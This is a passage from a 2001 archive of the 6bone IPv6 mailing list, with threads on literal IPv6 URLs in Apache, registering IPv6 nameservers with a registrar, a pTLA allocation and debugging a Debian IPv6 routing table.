|  doing impromptu surveys.  If folks think it would be productive, I'll
|  be a bit more proactive and start publishing results.  Interest?

-- 
Todd Fries .. todd@fries.net

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Date: Thu, 15 Nov 2001 19:39:58 -0800 (PST)
From: killyeon kim <killyeon@yahoo.com>
Subject: "Bad Request" while access httpd with IPv6 server address
To: 6bone <6bone@ISI.EDU>
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Hello.

I have installed apache 1.3.19 with ipv6 enable. And
the server's IPv6 address is 3ffe:2e01:2:1::2 in our
local testbed.
But when I access with http://[3ffe:2e01:2:1::2], "400
Bad Request.  Your browser sent a request that this
server could not understand. Client sent malfored Host
header <<3ffe:2e01:2:1::2>>. And in the server's log
file, there is error message like 
[Fri. Nov 16 12:28:41 2001] [error] [client
3ffe:2e01:2:1::1] Client sent malfored Host header
<<3ffe:2e01:2:1::2>>

But if I add the follwing line to /etc/hosts and
access the server with http://ipv6-server, it works
well.
   3ffe:2e01:2:1::2  ipv6-server
And web browser I used is mozilla 0.9.5.

Please give me any help. I try to solve this problem
for a few days, but I can't get the answer.


__________________________________________________
Do You Yahoo!?
Find the one for you at Yahoo! Personals
http://personals.yahoo.com

From 6bone-owner  Thu Nov 15 20:47:09 2001
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hi all,
      I have a doubt about site concept in ipv6. We are implementing isis rouing protocol for ipv6.
 1. Can we map area in isis to site.
 2. is it possible to have two or three areas belongs to the same site.
thanks in advance 
ari 

 


From 6bone-owner  Thu Nov 15 23:50:04 2001
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From: "Mithrandir" <mithrandir@skynet.be>
To: <6bone@ISI.EDU>
Subject: Thank you all
Date: Fri, 16 Nov 2001 08:52:16 +0100
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Thank you all for your input and help.

Thanks to you i found the correct images for the
2500 series router.

Thanks again
Greetings
Mithrandir



From 6bone-owner  Fri Nov 16 00:47:03 2001
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Date: Fri, 16 Nov 2001 00:47:33 -0800 (PST)
From: killyeon kim <killyeon@yahoo.com>
Subject: "Bad Request" while access web server with IPv6  address
To: "Carla P. Quiblat" <carlaq@asti.dost.gov.ph>, 6bone <6bone@ISI.EDU>
In-Reply-To: <Pine.BSF.4.33.0111161511440.554-100000@beta.ipv6.asti.dost.gov.ph>
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I have an IPv6 dns server. I registered the IPv6 www
server in the forward zone. And the web server works
well when I use the web server's v6 domain name.

But I really hope to know why I've got an error
message when I access the server with IPv6 address
like http://[3ffe:2e01:2:1::2]
If someone solve this problem, please give me the
answer.
Thanks in advance.

--- "Carla P. Quiblat" <carlaq@asti.dost.gov.ph>
wrote:
> 
> Hi there.
> This happened to me before too but it just did not
> work
> so I worked on having a working DNS (bind 9.1.2)
> that
> speaks IPv6 first so I don't have to explicitly
> write
> the IPv6 addresses on the browser. Do you have IPv6
> dns working already?
> 
> carla
> 
> On Thu, 15 Nov 2001, killyeon kim wrote:
> 
> > Hello.
> >
> > I have installed apache 1.3.19 with ipv6 enable.
> And
> > the server's IPv6 address is 3ffe:2e01:2:1::2 in
> our
> > local testbed.
> > But when I access with http://[3ffe:2e01:2:1::2],
> "400
> > Bad Request.  Your browser sent a request that
> this
> > server could not understand. Client sent malfored
> Host
> > header <<3ffe:2e01:2:1::2>>. And in the server's
> log
> > file, there is error message like
> > [Fri. Nov 16 12:28:41 2001] [error] [client
> > 3ffe:2e01:2:1::1] Client sent malfored Host header
> > <<3ffe:2e01:2:1::2>>
> >
> > But if I add the follwing line to /etc/hosts and
> > access the server with http://ipv6-server, it
> works
> > well.
> >    3ffe:2e01:2:1::2  ipv6-server
> > And web browser I used is mozilla 0.9.5.
> >
> > Please give me any help. I try to solve this
> problem
> > for a few days, but I can't get the answer.
> >
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Find the one for you at Yahoo! Personals
> > http://personals.yahoo.com
> >
> 


__________________________________________________
Do You Yahoo!?
Find the one for you at Yahoo! Personals
http://personals.yahoo.com

From 6bone-owner  Fri Nov 16 03:18:49 2001
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Date: Fri, 16 Nov 2001 11:17:20 +0000
From: Paul Aitken <paitken@cisco.com>
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To: killyeon kim <killyeon@yahoo.com>
CC: "Carla P. Quiblat" <carlaq@asti.dost.gov.ph>, 6bone <6bone@ISI.EDU>
Subject: Re: "Bad Request" while access web server with IPv6  address
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killyeon kim wrote:
> 
> I have an IPv6 dns server. I registered the IPv6 www
> server in the forward zone. And the web server works
> well when I use the web server's v6 domain name.
> 
> But I really hope to know why I've got an error
> message when I access the server with IPv6 address
> like http://[3ffe:2e01:2:1::2]
> If someone solve this problem, please give me the
> answer.
> Thanks in advance.

It'd help if you told us which web browser you are using? ;)

For example, if you're using Internet Explorer on Windows XP, go here:
http://www.microsoft.com/WINDOWSXP/pro/techinfo/administration/ipv6/default.asp.

Near the end there's this question:

"Q. How can I force IPv6 connections using my Web browser?"

Part of the answer is:

"URLs that use the format for literal IPv6 addresses described in RFC
2732, "Format for Literal IPv6 Addresses in URLs" are not supported by
the version of Internet Explorer provided with Windows XP."

If your browser doesn't support RFC 2732, you'll have to map all your
server names in DNS. Is that so hard?
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Fri Nov 16 06:36:06 2001
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Date: Fri, 16 Nov 2001 06:35:44 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:82B0::/28 allocated to WEBONLINE-NET 
Cc: Bill Manning <bmanning@ISI.EDU>, Jørgen Hovland <jorgen@hovland.cx>
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WEBONLINE-NET has been allocated pTLA 3FFE:82B0::/28 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?WEBONLINE-NET>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Fri Nov 16 08:56:44 2001
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Date: Fri, 16 Nov 2001 10:50:46 -0600
From: "Todd T. Fries" <todd@fries.net>
To: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>
Cc: ipv6@openbsd.org, 6bone@ISI.EDU
Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
Message-ID: <20011116105046.B8761@eclipse.fries.net>
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I want one dns server in my domain (fries.net) to be registered using an AAAA
record, not an A record.

Yes, this is one small detail in the global scope of deploying ipv6.  So
why wait when this is just sitting around not being attended to?

Penned by Jørgen Hovland on Wed, Nov 14, 2001 at 06:22:19PM +0100, we have:
| What is the problem?
| 
| Buy a domain which has ipv6 nameservers? Just put IN NS to a host you control that has ipv6.
| Want netsol to host it? 
| Want the NS' of the tld to have ipv6 nameservers?
| 
| 
| -j
| 
| ----- Original Message ----- 
| From: "Todd T. Fries" <todd@fries.net>
| To: <ipv6@openbsd.org>; <6bone@ISI.EDU>
| Sent: Wednesday, November 14, 2001 2:02 PM
| Subject: [custserv@netsol.com: Service Request Number: 1-UX4DN]
| 
| 
| > Anyone know of another registrar that supports this?
| > 
| > ----- Forwarded message from Network Solutions <custserv@netsol.com> -----
| > 
| > From: Network Solutions <custserv@netsol.com>
| > To: "'todd@fries.net'" <todd@fries.net>
| > Subject: Service Request Number: 1-UX4DN
| > Date: Tue, 13 Nov 2001 19:48:27 -0600
| > 
| > Dear Todd Fries
| > 
| > Thank you for your inquiry received on 11/1/01 1:39:31 AM. 
| > 
| > We do not currently support these new ipv6 dns servers. At this time there
| > is no estimated date on when we will support them.
| > 
| > If you need to contact us in the future about this inquiry, please provide
| > number 1-UX4DN to our customer service representative.
| > 
| > Thank you for choosing Network Solutions. 
| > 
| > Sincerely,
| > 
| > NADELE001
| > Customer Service Representative
| > Network Solutions, Inc.
| > www.networksolutions.com
| > 
| > Please do not reply directly to this email address.  Replies sent to this
| > email address will not be responded to.  To reach Network Solutions, please
| > visit our web site at www.networksolutions.com or send an email to
| > help@networksolutions.com.  Thank you.
| > 
| > ----- End forwarded message -----
| > 
| > -- 
| > Todd Fries .. todd@fries.net

-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Fri Nov 16 09:05:34 2001
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Date: Fri, 16 Nov 2001 10:59:51 -0600
From: "Todd T. Fries" <todd@fries.net>
To: ipv6@openbsd.org, 6bone@ISI.EDU
Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
Message-ID: <20011116105951.C8761@eclipse.fries.net>
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Penned by Todd T. Fries on Fri, Nov 16, 2001 at 10:50:46AM -0600, we have:
| I want one dns server in my domain (fries.net) to be registered using an AAAA
| record, not an A record.
| 
| Yes, this is one small detail in the global scope of deploying ipv6.  So
| why wait when this is just sitting around not being attended to?

Hmm, perhaps that was abit strongly worded.  How about I replace
'this is just ..' with 'this is not possible yet?'  .. since I understand
Bill has done some preliminary work on this.

-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Fri Nov 16 13:35:14 2001
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Date: Fri, 16 Nov 2001 15:29:19 -0600
From: "Todd T. Fries" <todd@fries.net>
To: "Bradley D. Rhoades" <bdrhoad@uswest.com>
Cc: ipv6@openbsd.org, 6bone@ISI.EDU
Subject: Re: [custserv@netsol.com: Service Request Number: 1-UX4DN]
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X-PGP-Fingerprint: B6 3B 70 46 BC 0F 8C DD  14 D4 C7 D1 47 F6 23 FA
X-URL: http://todd.fries.net
X-tra-email: todd@fries.net, toddf@acm.org, todd@openbsd.org, toddfries@yahoo.com
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Um, I think you are missing the point here.

By 'register a v6 dns server' I mean not the technical capability to
set one up.  I already have this:

todd:26$ host -t any ns6.fries.net 3ffe:b00:4004:1::1:6| egrep -v "mail|Trunc >
Using domain server:
Name: 3ffe:b00:4004:1::1:6
Address: 3ffe:b00:4004:1::1:6#53
Aliases: 

ns6.fries.net. has AAAA address 3ffe:b00:4004:1::1:6
ns6.fries.net. host information "IPv6 only" "bind9"
ns6.fries.net. text "ns6.fries.net NS?????-HST (host handle)"
ns6.fries.net. text "how do I get internic to register an ipv6 dns server?"
todd:27$ 

... and I have had this setup for quite some time.

What I am suggesting is that internic will not allow me to register a
v6 dns server for the domain fries.net in their database which then
allows me to see this server in the following output:

todd:27$ dig @a.gtld-servers.net fries.net

; <<>> DiG 9.1.3 <<>> @a.gtld-servers.net fries.net
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47493
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 6, ADDITIONAL: 6

;; QUESTION SECTION:
;fries.net.                     IN      A

;; AUTHORITY SECTION:
fries.net.              172800  IN      NS      NS.SIGMASOFT.COM.
fries.net.              172800  IN      NS      NS1.fries.net.
fries.net.              172800  IN      NS      NS0.fries.net.
fries.net.              172800  IN      NS      NS1.THOUGHTPROCESS.net.
fries.net.              172800  IN      NS      NS1.MISN.COM.
fries.net.              172800  IN      NS      GOOBER.MRLENG.COM.

;; ADDITIONAL SECTION:
NS.SIGMASOFT.COM.       172800  IN      A       198.144.202.98
NS1.fries.net.          172800  IN      A       206.30.141.11
NS0.fries.net.          172800  IN      A       206.30.141.10
NS1.THOUGHTPROCESS.net. 172800  IN      A       64.240.158.3
NS1.MISN.COM.           172800  IN      A       64.240.20.10
GOOBER.MRLENG.COM.      172800  IN      A       64.217.3.234

;; Query time: 57 msec
;; SERVER: 192.5.6.30#53(a.gtld-servers.net)
;; WHEN: Fri Nov 16 15:43:48 2001
;; MSG SIZE  rcvd: 273

todd:28$ 

As of this moment, to my understanding, they only allow 'A' records not
'AAAA' records in the toplevel domain name servers.

Penned by Bradley D. Rhoades on Fri, Nov 16, 2001 at 03:12:33PM -0600, we have:
| 
| 
| "Todd T. Fries" wrote:
| > 
| > I want one dns server in my domain (fries.net) to be registered using an AAAA
| > record, not an A record.
| > 
| > Yes, this is one small detail in the global scope of deploying ipv6.  So
| > why wait when this is just sitting around not being attended to?
| 
| It seems to be working fine with Bind under FreeBSD. I am running Bind
| 8, but I believe you need Bind 9 to perform native IPv6 DNS querys.  I
| believe that is what you are actually looking for.  I assume OpenBSD
| should work the same.
| 
| % nslookup
| Default Server:  horton.iaces.com
| Address:  204.147.87.98
| 
| > server ns1.uswest.net.
| Default Server:  ns1.uswest.net
| Address:  204.147.80.5
| 
| > set type=any
| > ipv6.iaces.com.
| Server:  ns1.uswest.net
| Address:  204.147.80.5
| 
| Non-authoritative answer:
| ipv6.iaces.com  nameserver = badroads.iaces.com
| ipv6.iaces.com  nameserver = horton.iaces.com
| ipv6.iaces.com  nameserver = badroads.ipv6.iaces.com
| 
| Authoritative answers can be found from:
| ipv6.iaces.com  nameserver = badroads.iaces.com
| ipv6.iaces.com  nameserver = horton.iaces.com
| ipv6.iaces.com  nameserver = badroads.ipv6.iaces.com
| badroads.iaces.com      internet address = 207.108.70.2
| horton.iaces.com        internet address = 204.147.87.98
| badroads.ipv6.iaces.com IPv6 address =
| 3ffe:c00:8031:1:220:e0ff:fe62:e472
| > horton.503: named -v
| named 8.2.4-REL Thu Sep 27 10:22:14 CDT 2001
|         root@horton.iaces.com:/src/obj/src/src/usr.sbin/named
| 
| 
| And here is what my /etc/named.boot file looks like:
| 
| $ORIGIN iaces.com.
| ipv6    86400   IN      SOA     badroads.iaces.com.
| postmaster.iaces.com. (
|                 2001111302 
|                 3600 
|                 1800 
|                 604800 
|                 86400 )
|         86400   IN      NS      badroads.iaces.com.
|         86400   IN      NS      horton.iaces.com.
|         86400   IN      NS      badroads.ipv6.iaces.com.
|         86400   IN      A       207.108.70.2
|         86400   IN      A       204.147.87.98
|         86400   IN      AAAA    3ffe:c00:8031:1:220:e0ff:fe62:e472
| 
| 
| Brad
| 
| > 
| > Penned by Jørgen Hovland on Wed, Nov 14, 2001 at 06:22:19PM +0100, we have:
| > | What is the problem?
| > |
| > | Buy a domain which has ipv6 nameservers? Just put IN NS to a host you control that has ipv6.
| > | Want netsol to host it?
| > | Want the NS' of the tld to have ipv6 nameservers?
| > |
| > |
| > | -j
| > |
| > | ----- Original Message -----
| > | From: "Todd T. Fries" <todd@fries.net>
| > | To: <ipv6@openbsd.org>; <6bone@ISI.EDU>
| > | Sent: Wednesday, November 14, 2001 2:02 PM
| > | Subject: [custserv@netsol.com: Service Request Number: 1-UX4DN]
| > |
| > |
| > | > Anyone know of another registrar that supports this?
| > | >
| > | > ----- Forwarded message from Network Solutions <custserv@netsol.com> -----
| > | >
| > | > From: Network Solutions <custserv@netsol.com>
| > | > To: "'todd@fries.net'" <todd@fries.net>
| > | > Subject: Service Request Number: 1-UX4DN
| > | > Date: Tue, 13 Nov 2001 19:48:27 -0600
| > | >
| > | > Dear Todd Fries
| > | >
| > | > Thank you for your inquiry received on 11/1/01 1:39:31 AM.
| > | >
| > | > We do not currently support these new ipv6 dns servers. At this time there
| > | > is no estimated date on when we will support them.
| > | >
| > | > If you need to contact us in the future about this inquiry, please provide
| > | > number 1-UX4DN to our customer service representative.
| > | >
| > | > Thank you for choosing Network Solutions.
| > | >
| > | > Sincerely,
| > | >
| > | > NADELE001
| > | > Customer Service Representative
| > | > Network Solutions, Inc.
| > | > www.networksolutions.com
| > | >
| > | > Please do not reply directly to this email address.  Replies sent to this
| > | > email address will not be responded to.  To reach Network Solutions, please
| > | > visit our web site at www.networksolutions.com or send an email to
| > | > help@networksolutions.com.  Thank you.
| > | >
| > | > ----- End forwarded message -----
| > | >
| > | > --
| > | > Todd Fries .. todd@fries.net
| > 
| > --
| > Todd Fries .. todd@fries.net
Content-Description: Card for Bradley D. Rhoades


-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Sat Nov 17 14:07:51 2001
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To: <6bone@ISI.EDU>, <debian-ipv6@lists.debian.org>, <users@ipv6.org>
Subject: ip6-localhost (::1)  2990.86 ms !H -> Why ?
Date: Sat, 17 Nov 2001 23:05:59 +0100
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Hello,

I have a problem on a machine (with Linux Debian Woody).
I can't ping (or trace) the next router or 6bone from it.


Trace 6bone from Woody:

traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:8271:2101:1::1,
30 hops max, 16 byte packets
 1  ip6-localhost (::1)  2990.86 ms !H  2999.53 ms !H  2999.92 ms !

Routes on Woody:

Kernel IPv6 routing table
Destination                                 Next Hop
Flags Metric Ref    Use Iface
::1/128                                     ::
U     0      0        0 lo      
3ffe:8271:2101:1::1/128                     ::
U     0      8        1 lo      
3ffe:8271:2101:1::/64                       ::
UA    256    594       0 eth0    
2000::/3                                    ::
U     1      0        0 eth0    
fe80::2d0:70ff:fe01:811b/128                ::
U     0      5        0 lo      
fe80::/10                                   ::
UA    256    0        0 eth0    
ff00::/8                                    ::
UA    256    0        0 eth0    
::/0                                        fe80::a0:2434:1d91
UGDA  1024   34       0 eth0 

Beetween 6bone and Woody i have a router who have my IPv6 over IPv4
tunnel, this router work without problem and Potato (eth1) connected on
it too. Only Woody (eth2) don't work.

Routes on Router:

Kernel IPv6 routing table
Destination                                 Next Hop
Flags Metric Ref    Use Iface
::1/128                                     ::
U     0      4        0 lo      
::10.0.0.1/128                              ::
U     0      0        0 lo      
::10.0.2.1/128                              ::
U     0      0        0 lo      
::10.0.10.1/128                             ::
U     0      0        0 lo      
::62.4.18.114/128                           ::
U     0      0        0 lo      
::62.4.22.213/128                           ::
U     0      0        0 lo      
::127.0.0.1/128                             ::
U     0      0        0 lo      
::/96                                       ::
U     256    0        0 sit0    
2000::/16                                   fe80::d5ba:2246
UG    1      0        0 sit1    
2001::/16                                   fe80::d5ba:2246
UG    1      0        0 sit1    
2002::/16                                   fe80::d5ba:2246
UG    1      0        0 sit1    
3ffe:8271:1000:20::1/128                    ::
U     0      0        0 lo      
3ffe:8271:1000:20::/64                      ::
UA    256    0        0 eth0    
3ffe:8271:1000:21::1/128                    ::
U     0      89080       0 lo      
3ffe:8271:1000:21::/64                      ::
UA    256    0        0 eth1    
3ffe:8271:1000:22::1/128                    ::
U     0      21       0 lo      
3ffe:8271:1000:22::/64                      ::
UA    256    0        0 eth2    
3ffe:8271:1000:2f::1/128                    ::
U     0      0        0 lo      
3ffe:8271:1000:30::1/128                    3ffe:8271:1000:30::1
UC    0      2665       0 eth1    
3ffe:8271:1000:30::/64                      ::
U     1      0        0 eth1    
3ffe:8271:1000:3f::/64                      ::
U     1      0        0 eth1    
3ffe:8271:10ff:11::2/128                    ::
U     0      2162       0 lo      
3ffe:8271:10ff:11::/64                      ::
UA    256    18       1 sit1    
3ffe:8271:2101:1::/64                       ::
U     1      0        0 eth2    
3ffe::/16                                   fe80::d5ba:2246
UG    1      312       0 sit1    
fe80::a00:1/128                             ::
U     0      0        0 lo      
fe80::a00:201/128                           ::
U     0      0        0 lo      
fe80::a00:a01/128                           ::
U     0      0        0 lo      
fe80::3e04:1272/128                         ::
U     0      0        0 lo      
fe80::3e04:16d5/128                         ::
U     0      0        0 lo      
fe80::10:4b44:56cc/128                      ::
U     0      0        0 lo      
fe80::60:9795:cc55/128                      ::
U     0      7082       0 lo      
fe80::a0:2434:1d91/128                      ::
U     0      5        0 lo      
fe80::/10                                   ::
UA    256    0        0 eth0    
fe80::/10                                   ::
UA    256    0        0 eth1    
fe80::/10                                   ::
UA    256    0        0 eth2    
fe80::/10                                   ::
UA    256    0        0 sit1    
ff02::1/128                                 ff02::1
UAC   0      1        1 eth2    
ff00::/8                                    ::
UA    256    0        0 eth0    
ff00::/8                                    ::
UA    256    0        0 eth1    
ff00::/8                                    ::
UA    256    0        0 eth2    
ff00::/8                                    ::
UA    256    0        0 sit1 


Trace Woody from router:

traceroute6 to 3ffe:8271:2101:1::1 (3ffe:8271:2101:1::1) from
3ffe:8271:1000:22::1, 30 hops max, 16 byte packets
 1  ip6-localhost (::1)  3004.78 ms !H  3000.65 ms !H  2999.21 ms !H

Trace Potato from router:

traceroute6 to 3ffe:8271:1000:30::1 (3ffe:8271:1000:30::1) from
3ffe:8271:1000:21::1, 30 hops max, 16 byte packets
 1  3ffe:8271:1000:30::1 (3ffe:8271:1000:30::1)  2.279 ms  2.13 ms
1.968 ms

With tcpdump i have get this:
21:38:02.882404 3ffe:8271:1000:22::1 > ff02::1:0:1: icmp6: neighbor sol:
who has 3ffe:8271:2101:1::1
21:38:03.882226 3ffe:8271:1000:22::1 > ff02::1:0:1: icmp6: neighbor sol:
who has 3ffe:8271:2101:1::1

Router: Linux 2.2.19 Debian Potato
Potato: Linux 2.2.19 Debian Potato
Woody: Linux 2.4.13 Debian Woody
All machines have last updates.

Who can help me ?
Any help are Welcome !!!!

How i can fix this problem ?

Thanks very very much,

Best Regards,

Nicolas


From 6bone-owner  Sat Nov 17 14:43:15 2001
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To: "'Bernd Walter'" <ipv6@cicely.de>
Cc: <6bone@ISI.EDU>, <debian-ipv6@lists.debian.org>, <users@ipv6.org>
Subject: RE: ip6-localhost (::1)  2990.86 ms !H -> Why ?
Date: Sat, 17 Nov 2001 23:41:32 +0100
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> -----Original Message-----
> From: Bernd Walter [mailto:ipv6@cicely.de] 
> Sent: Saturday, November 17, 2001 11:33 PM
> To: NDSoftware
> Cc: 6bone@ISI.EDU; debian-ipv6@lists.debian.org; users@ipv6.org
> Subject: Re: ip6-localhost (::1) 2990.86 ms !H -> Why ?
> 
> 
> On Sat, Nov 17, 2001 at 11:05:59PM +0100, NDSoftware wrote:
> > Hello,
> > 
> > I have a problem on a machine (with Linux Debian Woody).
> > I can't ping (or trace) the next router or 6bone from it.
> > 
> > 
> > Trace 6bone from Woody:
> > 
> > traceroute to 6bone.net (3ffe:b00:c18:1::10) from 
> 3ffe:8271:2101:1::1,
> > 30 hops max, 16 byte packets
> >  1  ip6-localhost (::1)  2990.86 ms !H  2999.53 ms !H  2999.92 ms !
> > 
> > Routes on Woody:
> > 
> > Kernel IPv6 routing table
> > Destination                                 Next Hop
> > Flags Metric Ref    Use Iface
> > ::1/128                                     ::
> > U     0      0        0 lo      
> > 3ffe:8271:2101:1::1/128                     ::
> > U     0      8        1 lo      
> > 3ffe:8271:2101:1::/64                       ::
> > UA    256    594       0 eth0    
> 
> This one matches all valid global IPv6 addresses, so your 
> default route
> looses.
> 
> > 2000::/3                                    ::
> > U     1      0        0 eth0    
> > fe80::2d0:70ff:fe01:811b/128                ::
> > U     0      5        0 lo      
> > fe80::/10                                   ::
> > UA    256    0        0 eth0    
> > ff00::/8                                    ::
> > UA    256    0        0 eth0    
> > ::/0                                        fe80::a0:2434:1d91
> > UGDA  1024   34       0 eth0 
> 
> You need to remove the 2000:/3 route - asuming your ::/0 is right.

route -A inet6 add ::/0 dev eth0

And after:

traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:8271:2101:1::1,
30 hops max, 16 byte packets
 1  ip6-localhost (::1)  2999.48 ms !H

I have try too 3ffe::/16, 2001::/16 for default route.

Thanks
> 
> -- 
> B.Walter              COSMO-Project         
> http://www.cosmo-project.de
> ticso@cicely.de         Usergroup 
>           info@cosmo-project.de
> 
> 


From 6bone-owner  Sat Nov 17 20:59:21 2001
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Date: Sun, 18 Nov 2001 01:58:19 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: NDSoftware <extml@ndsoftware.net>
cc: <6bone@ISI.EDU>, <debian-ipv6@lists.debian.org>, <users@ipv6.org>
Subject: Re: ip6-localhost (::1)  2990.86 ms !H -> Why ?
In-Reply-To: <000301c16fb4$0b0778c0$0104010a@localnet.ndsoftware.net>
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Hi,

it looks like you have a route to 3ffe:8271:2101:1::1/128 pointed to your
loopback interface:


> 3ffe:8271:2101:1::1/128                    :: U     0      0        0 lo      

That's odd and the cause of trouble. Just remove it and the less specific 
route to 3ffe:8271:2101:1::/64 thru eth0 will be used in your traceroute.

Regards,

Flavio.



On Sat, 17 Nov 2001, NDSoftware wrote:

> Hello,
> 
> I have a problem on a machine (with Linux Debian Woody).
> I can't ping (or trace) the next router or 6bone from it.
> 
> 
> Trace 6bone from Woody:
> 
> traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:8271:2101:1::1,
> 30 hops max, 16 byte packets
>  1  ip6-localhost (::1)  2990.86 ms !H  2999.53 ms !H  2999.92 ms !
> 
> Routes on Woody:
> 
> Kernel IPv6 routing table
> Destination                                 Next Hop
> Flags Metric Ref    Use Iface
> ::1/128                                     ::
> U     0      0        0 lo      
> 3ffe:8271:2101:1::1/128                     ::
> U     0      8        1 lo      
> 3ffe:8271:2101:1::/64                       ::
> UA    256    594       0 eth0    
> 2000::/3                                    ::
> U     1      0        0 eth0    
> fe80::2d0:70ff:fe01:811b/128                ::
> U     0      5        0 lo      
> fe80::/10                                   ::
> UA    256    0        0 eth0    
> ff00::/8                                    ::
> UA    256    0        0 eth0    
> ::/0                                        fe80::a0:2434:1d91
> UGDA  1024   34       0 eth0 
> 
> Beetween 6bone and Woody i have a router who have my IPv6 over IPv4
> tunnel, this router work without problem and Potato (eth1) connected on
> it too. Only Woody (eth2) don't work.
> 
> Routes on Router:
> 
> Kernel IPv6 routing table
> Destination                                 Next Hop
> Flags Metric Ref    Use Iface
> ::1/128                                     ::
> U     0      4        0 lo      
> ::10.0.0.1/128                              ::
> U     0      0        0 lo      
> ::10.0.2.1/128                              ::
> U     0      0        0 lo      
> ::10.0.10.1/128                             ::
> U     0      0        0 lo      
> ::62.4.18.114/128                           ::
> U     0      0        0 lo      
> ::62.4.22.213/128                           ::
> U     0      0        0 lo      
> ::127.0.0.1/128                             ::
> U     0      0        0 lo      
> ::/96                                       ::
> U     256    0        0 sit0    
> 2000::/16                                   fe80::d5ba:2246
> UG    1      0        0 sit1    
> 2001::/16                                   fe80::d5ba:2246
> UG    1      0        0 sit1    
> 2002::/16                                   fe80::d5ba:2246
> UG    1      0        0 sit1    
> 3ffe:8271:1000:20::1/128                    ::
> U     0      0        0 lo      
> 3ffe:8271:1000:20::/64                      ::
> UA    256    0        0 eth0    
> 3ffe:8271:1000:21::1/128                    ::
> U     0      89080       0 lo      
> 3ffe:8271:1000:21::/64                      ::
> UA    256    0        0 eth1    
> 3ffe:8271:1000:22::1/128                    ::
> U     0      21       0 lo      
> 3ffe:8271:1000:22::/64                      ::
> UA    256    0        0 eth2    
> 3ffe:8271:1000:2f::1/128                    ::
> U     0      0        0 lo      
> 3ffe:8271:1000:30::1/128                    3ffe:8271:1000:30::1
> UC    0      2665       0 eth1    
> 3ffe:8271:1000:30::/64                      ::
> U     1      0        0 eth1    
> 3ffe:8271:1000:3f::/64                      ::
> U     1      0        0 eth1    
> 3ffe:8271:10ff:11::2/128                    ::
> U     0      2162       0 lo      
> 3ffe:8271:10ff:11::/64                      ::
> UA    256    18       1 sit1    
> 3ffe:8271:2101:1::/64                       ::
> U     1      0        0 eth2    
> 3ffe::/16                                   fe80::d5ba:2246
> UG    1      312       0 sit1    
> fe80::a00:1/128                             ::
> U     0      0        0 lo      
> fe80::a00:201/128                           ::
> U     0      0        0 lo      
> fe80::a00:a01/128                           ::
> U     0      0        0 lo      
> fe80::3e04:1272/128                         ::
> U     0      0        0 lo      
> fe80::3e04:16d5/128                         ::
> U     0      0        0 lo      
> fe80::10:4b44:56cc/128                      ::
> U     0      0        0 lo      
> fe80::60:9795:cc55/128                      ::
> U     0      7082       0 lo      
> fe80::a0:2434:1d91/128                      ::
> U     0      5        0 lo      
> fe80::/10                                   ::
> UA    256    0        0 eth0    
> fe80::/10                                   ::
> UA    256    0        0 eth1    
> fe80::/10                                   ::
> UA    256    0        0 eth2    
> fe80::/10                                   ::
> UA    256    0        0 sit1    
> ff02::1/128                                 ff02::1
> UAC   0      1        1 eth2    
> ff00::/8                                    ::
> UA    256    0        0 eth0    
> ff00::/8                                    ::
> UA    256    0        0 eth1    
> ff00::/8                                    ::
> UA    256    0        0 eth2    
> ff00::/8                                    ::
> UA    256    0        0 sit1 
> 
> 
> Trace Woody from router:
> 
> traceroute6 to 3ffe:8271:2101:1::1 (3ffe:8271:2101:1::1) from
> 3ffe:8271:1000:22::1, 30 hops max, 16 byte packets
>  1  ip6-localhost (::1)  3004.78 ms !H  3000.65 ms !H  2999.21 ms !H
> 
> Trace Potato from router:
> 
> traceroute6 to 3ffe:8271:1000:30::1 (3ffe:8271:1000:30::1) from
> 3ffe:8271:1000:21::1, 30 hops max, 16 byte packets
>  1  3ffe:8271:1000:30::1 (3ffe:8271:1000:30::1)  2.279 ms  2.13 ms
> 1.968 ms
> 
> With tcpdump i have get this:
> 21:38:02.882404 3ffe:8271:1000:22::1 > ff02::1:0:1: icmp6: neighbor sol:
> who has 3ffe:8271:2101:1::1
> 21:38:03.882226 3ffe:8271:1000:22::1 > ff02::1:0:1: icmp6: neighbor sol:
> who has 3ffe:8271:2101:1::1
> 
> Router: Linux 2.2.19 Debian Potato
> Potato: Linux 2.2.19 Debian Potato
> Woody: Linux 2.4.13 Debian Woody
> All machines have last updates.
> 
> Who can help me ?
> Any help are Welcome !!!!
> 
> How i can fix this problem ?
> 
> Thanks very very much,
> 
> Best Regards,
> 
> Nicolas
> 


From 6bone-owner  Sat Nov 17 22:35:56 2001
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Date: Sun, 18 Nov 2001 08:34:54 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: NDSoftware <extml@ndsoftware.net>
cc: <6bone@ISI.EDU>, <debian-ipv6@lists.debian.org>, <users@ipv6.org>,
        <linux-net@vger.kernel.org>
Subject: Re: ip6-localhost (::1)  2990.86 ms !H -> Why ?
In-Reply-To: <000301c16fb4$0b0778c0$0104010a@localnet.ndsoftware.net>
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Note:  I think linux-net@vger.kernel.org would be the most appropriate 
place for questions like this..

On Sat, 17 Nov 2001, NDSoftware wrote:
> Hello,
> 
> I have a problem on a machine (with Linux Debian Woody).
> I can't ping (or trace) the next router or 6bone from it.
> 
> 
> Trace 6bone from Woody:
> 
> traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:8271:2101:1::1,
> 30 hops max, 16 byte packets
